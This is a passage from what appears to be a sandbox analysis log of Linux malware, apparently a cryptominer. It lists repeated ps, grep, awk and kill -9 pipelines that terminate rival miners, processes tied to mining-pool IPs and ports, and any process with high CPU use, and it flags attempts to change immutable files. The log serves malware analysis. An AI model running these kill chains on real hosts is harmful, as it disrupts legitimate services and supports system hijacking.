- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:658
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:659
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:660
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:661
- /bin/grep
  grep -v bin
  2⤵
  PID:662
- /bin/grep
  grep -v "\\["
  2⤵
  PID:663
- /bin/grep
  grep -v "("
  2⤵
  PID:664
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:665
- /bin/grep
  grep -v proxymap
  2⤵
  PID:666
- /bin/grep
  grep -v postgres
  2⤵
  PID:667
- /bin/grep
  grep -v postgrey
  2⤵
  PID:668
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:669
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:670
- /bin/ps
  ps ax
  2⤵
  PID:671
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:672
- /bin/grep
  grep -v bin
  2⤵
  PID:673
- /bin/grep
  grep -v "\\["
  2⤵
  PID:674
- /bin/grep
  grep -v "("
  2⤵
  PID:675
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:676
- /bin/grep
  grep -v proxymap
  2⤵
  PID:677
- /bin/grep
  grep -v postgres
  2⤵
  PID:678
- /bin/grep
  grep -v postgrey
  2⤵
  PID:679
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:680
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:681
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:682
- /bin/grep
  grep -v grep
  2⤵
  PID:683
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:684
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:685
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:686
- /bin/ps
  ps aux
  2⤵
  PID:687
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:688
- /bin/grep
  grep -v grep
  2⤵
  PID:689
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:690
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:691
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:692
- /bin/grep
  grep ./crun
  2⤵
  PID:693
- /bin/grep
  grep -v grep
  2⤵
  PID:694
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:695
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:696
- /bin/ps
  ps aux
  2⤵
  PID:697
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:698
- /bin/grep
  grep -v grep
  2⤵
  PID:699
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:701
- /bin/ps
  ps aux
  2⤵
  PID:702
- /bin/grep
  grep -v grep
  2⤵
  PID:703
- /bin/grep
  grep :3333
  2⤵
  PID:704
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:705
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:706
- /bin/ps
  ps aux
  2⤵
  PID:707
- /bin/grep
  grep -v grep
  2⤵
  PID:708
- /bin/grep
  grep :5555
  2⤵
  PID:709
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:710
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:711
- /bin/ps
  ps aux
  2⤵
  PID:712
- /bin/grep
  grep -v grep
  2⤵
  PID:713
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:714
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:715
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:716
- /bin/ps
  ps aux
  2⤵
  PID:717
- /bin/grep
  grep -v grep
  2⤵
  PID:718
- /bin/grep
  grep log_
  2⤵
  PID:719
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:720
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:721
- /bin/ps
  ps aux
  2⤵
  PID:722
- /bin/grep
  grep -v grep
  2⤵
  PID:723
- /bin/grep
  grep systemten
  2⤵
  PID:724
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:725
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:726
- /bin/ps
  ps aux
  2⤵
  PID:727
- /bin/grep
  grep -v grep
  2⤵
  PID:728
- /bin/grep
  grep netns
  2⤵
  PID:729
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:730
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:731
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:732
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:732
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:732
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:732
- - /sbin/kill
    kill -9 14
    3⤵
    PID:732
- - /bin/kill
    kill -9 14
    3⤵
    PID:732
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:733
- /bin/grep
  grep -v grep
  2⤵
  PID:734
- /bin/grep
  grep voltuned
  2⤵
  PID:735
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:736
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:737
- /bin/ps
  ps aux
  2⤵
  PID:738
- /bin/grep
  grep -v grep
  2⤵
  PID:739
- /bin/grep
  grep darwin
  2⤵
  PID:740
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:741
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:742
- /bin/ps
  ps aux
  2⤵
  PID:743
- /bin/grep
  grep -v grep
  2⤵
  PID:744
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:745
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:746
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:747
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:748
- /bin/grep
  grep -v grep
  2⤵
  PID:749
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:750
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:751
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:752
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:755
- /bin/grep
  grep -v grep
  2⤵
  PID:756
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:757
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:758
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:759
- /bin/ps
  ps aux
  2⤵
  PID:760
- /bin/grep
  grep -v grep
  2⤵
  PID:761
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:762
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:763
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:764
- /bin/ps
  ps aux
  2⤵
  PID:765
- /bin/grep
  grep -v grep
  2⤵
  PID:766
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:767
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:768
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:769
- /bin/ps
  ps aux
  2⤵
  PID:770
- /bin/grep
  grep -v grep
  2⤵
  PID:771
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:772
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:774
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:775
- /bin/grep
  grep -v grep
  2⤵
  PID:776
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:777
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:778
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:779
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:780
- /bin/grep
  grep -v grep
  2⤵
  PID:781
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:782
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:783
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:784
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:785
- /bin/grep
  grep -v grep
  2⤵
  PID:786
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:787
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:788
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:789
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:790
- /bin/grep
  grep -v grep
  2⤵
  PID:791
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:792
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:794
- /bin/ps
  ps aux
  2⤵
  PID:795
- /bin/grep
  grep -v grep
  2⤵
  PID:796
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:797
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:798
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:799
- /bin/ps
  ps aux
  2⤵
  PID:800
- /bin/grep
  grep -v grep
  2⤵
  PID:801
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:802
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:803
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:804
- /bin/ps
  ps aux
  2⤵
  PID:805
- /bin/grep
  grep -v grep
  2⤵
  PID:806
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:807
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:808
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:809
- /bin/ps
  ps aux
  2⤵
  PID:810
- /bin/grep
  grep -v grep
  2⤵
  PID:811
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:812
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:813
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:814
- /bin/ps
  ps aux
  2⤵
  PID:815
- /bin/grep
  grep -v grep
  2⤵
  PID:816
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:817
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:818
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:819
- /bin/ps
  ps aux
  2⤵
  PID:820
- /bin/grep
  grep -v grep
  2⤵
  PID:821
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:822
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:823
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:824
- /bin/ps
  ps aux
  2⤵
  PID:825
- /bin/grep
  grep -v grep
  2⤵
  PID:826
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:827
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:828
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:829
- /bin/ps
  ps aux
  2⤵
  PID:830
- /bin/grep
  grep -v grep
  2⤵
  PID:831
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:832
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:833
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:834
- /bin/ps
  ps aux
  2⤵
  PID:835
- /bin/grep
  grep -v grep
  2⤵
  PID:836
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:837
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:838
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:839
- /bin/ps
  ps aux
  2⤵
  PID:840
- /bin/grep
  grep -v grep
  2⤵
  PID:841
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:842
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:843
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:844
- /bin/ps
  ps aux
  2⤵
  PID:847
- /bin/grep
  grep -v grep
  2⤵
  PID:848
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:849
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:850
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:851
- /bin/ps
  ps aux
  2⤵
  PID:852
- /bin/grep
  grep -v grep
  2⤵
  PID:853
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:854
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:855
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:856
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:857
- /bin/grep
  grep -v grep
  2⤵
  PID:858
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:859
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:860
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:861
- /bin/ps
  ps aux
  2⤵
  PID:862
- /bin/grep
  grep -v grep
  2⤵
  PID:863
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:864
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:865
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:866
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:867
- /bin/grep
  grep -v grep
  2⤵
  PID:868
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:869
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:870
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:871
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:872
- /bin/grep
  grep -v grep
  2⤵
  PID:873
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:874
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:875
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:876
- /bin/ps
  ps aux
  2⤵
  PID:877
- /bin/grep
  grep -v grep
  2⤵
  PID:878
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:879
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:880
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:881
- /bin/ps
  ps aux
  2⤵
  PID:882
- /bin/grep
  grep -v grep
  2⤵
  PID:883
- /bin/grep
  grep HiPxCJRS
  2⤵
  PID:884
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:885
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:886
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:887
- /bin/grep
  grep -v grep
  2⤵
  PID:888
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:889
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:890
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:891
- /bin/ps
  ps aux
  2⤵
  PID:892
- /bin/grep
  grep -v grep
  2⤵
  PID:893
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:894
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:895
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:896
- /bin/ps
  ps aux
  2⤵
  PID:897
- /bin/grep
  grep -v grep
  2⤵
  PID:898
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:899
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:900
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Reads runtime system information
  PID:901
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:902
- /bin/grep
  grep -v grep
  2⤵
  PID:903
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:904
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:905
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:906
- /bin/ps
  ps aux
  2⤵
  PID:907
- /bin/grep
  grep -v grep
  2⤵
  PID:908
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:909
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:910
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:911
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:912
- /bin/grep
  grep -v grep
  2⤵
  PID:913
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:914
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:915
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:916
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:917
- /bin/grep
  grep -v grep
  2⤵
  PID:918
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:919
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:920
- /bin/ps
  ps aux
  2⤵
  PID:921
- /bin/grep
  grep -v grep
  2⤵
  PID:922
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:923
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:924
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:925
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:926
- /bin/grep
  grep -v grep
  2⤵
  PID:927
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:928
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:929
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:930
- /bin/ps
  ps aux
  2⤵
  PID:931
- /bin/grep
  grep -v grep
  2⤵
  PID:932
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:933
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:934
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:935
- /bin/ps
  ps aux
  2⤵
  PID:936
- /bin/grep
  grep -v grep
  2⤵
  PID:937
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:938
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:939
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:940
- /bin/ps
  ps aux
  2⤵
  PID:943
- /bin/grep
  grep -v grep
  2⤵
  PID:944
- /bin/grep
  grep nqscheduler
  2⤵
  PID:945
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:946
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:947
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:948
- /bin/grep
  grep -v grep
  2⤵
  PID:949
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:950
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:951
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:952
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:953
- /bin/grep
  grep -v grep
  2⤵
  PID:954
- /bin/grep
  grep -v aux
  2⤵
  PID:955
- /bin/grep
  grep "]"
  2⤵
  PID:956
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:957
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:958
- /bin/ps
  ps aux
  2⤵
  PID:959
- /bin/grep
  grep -v grep
  2⤵
  PID:960
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:961
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:962
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:963
- /bin/ps
  ps aux
  2⤵
  PID:964
- /bin/grep
  grep -v grep
  2⤵
  PID:965
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:966
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:967
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:968
- /bin/ps
  ps aux
  2⤵
  PID:969
- /bin/grep
  grep -v grep
  2⤵
  PID:970
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:971
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:972
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:973
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:974
- /bin/grep
  grep -v grep
  2⤵
  PID:975
- /bin/grep
  grep -v /
  2⤵
  PID:976
- /bin/grep
  grep -v -
  2⤵
  PID:977
- /bin/grep
  grep -v _
  2⤵
  PID:978
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:979
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:980
- /bin/ps
  ps aux
  2⤵
  PID:981
- /bin/grep
  grep -v grep
  2⤵
  PID:982
- /bin/grep
  grep "\\[^"
  2⤵
  PID:983
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:984
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:985
- /bin/ps
  ps aux
  2⤵
  PID:986
- /bin/grep
  grep -v grep
  2⤵
  PID:987
- /bin/grep
  grep rsync
  2⤵
  PID:988
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:989
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:990
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:991
- /bin/grep
  grep -v grep
  2⤵
  PID:992
- /bin/grep
  grep watchd0g
  2⤵
  PID:993
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:994
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:995
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:996
- /bin/grep
  grep -v grep
  2⤵
  PID:997
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:999
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1000
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:998
- /bin/ps
  ps aux
  2⤵
  PID:1001
- /bin/grep
  grep -v grep
  2⤵
  PID:1002
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  PID:1003
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1004
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1005
- /bin/ps
  ps aux
  2⤵
  PID:1006
- /bin/grep
  grep -v grep
  2⤵
  PID:1007
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1008
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1010
- /bin/ps
  ps aux
  2⤵
  PID:1011
- /bin/grep
  grep -v grep
  2⤵
  PID:1012
- /bin/grep
  grep gitee.com
  2⤵
  PID:1013
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1014
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1015
- /bin/ps
  ps aux
  2⤵
  PID:1016
- /bin/grep
  grep -v grep
  2⤵
  PID:1017
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1018
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1019
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1020
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1023
- /bin/grep
  grep -v grep
  2⤵
  PID:1024
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1025
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1026
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1027
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1028
- /bin/grep
  grep -v grep
  2⤵
  PID:1029
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1030
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1031
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1032
- /bin/ps
  ps aux
  2⤵
  PID:1033
- /bin/grep
  grep -v grep
  2⤵
  PID:1034
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1035
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1036
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1037
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1038
- /bin/grep
  grep -v grep
  2⤵
  PID:1039
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1040
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1041
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1042
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1043
- /bin/grep
  grep -v grep
  2⤵
  PID:1044
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1045
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1046
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1047
- /bin/ps
  ps aux
  2⤵
  PID:1048
- /bin/grep
  grep -v grep
  2⤵
  PID:1049
- /bin/grep
  grep netdns
  2⤵
  PID:1050
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1051
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1052
- /bin/ps
  ps aux
  2⤵
  PID:1053
- /bin/grep
  grep -v grep
  2⤵
  PID:1054
- /bin/grep
  grep watchdogs
  2⤵
  PID:1055
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1056
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1057
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1058
- /bin/grep
  grep -v grep
  2⤵
  PID:1059
- /bin/grep
  grep -v root
  2⤵
  PID:1060
- /bin/grep
  grep -v dblaunch
  2⤵
  PID:1061
- /bin/grep
  grep -v dblaunchs
  2⤵
  PID:1062
- /bin/grep
  grep -v dblaunched
  2⤵
  PID:1063
- /bin/grep
  grep -v apache2
  2⤵
  PID:1064
- /bin/grep
  grep -v atd
  2⤵
  PID:1065
- /bin/grep
  grep -v kdevtmpfsi
  2⤵
  PID:1066
- /bin/grep
  grep -v postgresq1
  2⤵
  PID:1067
- /usr/bin/awk
  awk "\$3>80.0{print \$2}"
  2⤵
  PID:1068
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1069
- /bin/ps
  ps aux
  2⤵
  PID:1070
- /bin/grep
  grep -v grep
  2⤵
  PID:1071
- /bin/grep
  grep -v aux
  2⤵
  PID:1072
- /bin/grep
  grep " ps"
  2⤵
  PID:1073
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1074
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1075
- /bin/ps
  ps aux
  2⤵
  PID:1076
- /bin/grep
  grep -v grep
  2⤵
  PID:1077
- /bin/grep
  grep sync_supers
  2⤵
  PID:1078
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1079
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1080
- /bin/ps
  ps aux
  2⤵
  PID:1081
- /bin/grep
  grep -v grep
  2⤵
  PID:1082
- /bin/grep
  grep cpuset
  2⤵
  PID:1083
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1084
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1085
- /bin/ps
  ps aux
  2⤵
  PID:1086
- /bin/grep
  grep -v grep
  2⤵
  PID:1087
- /bin/grep
  grep -v aux
  2⤵
  PID:1088
- /bin/grep
  grep "x]"
  2⤵
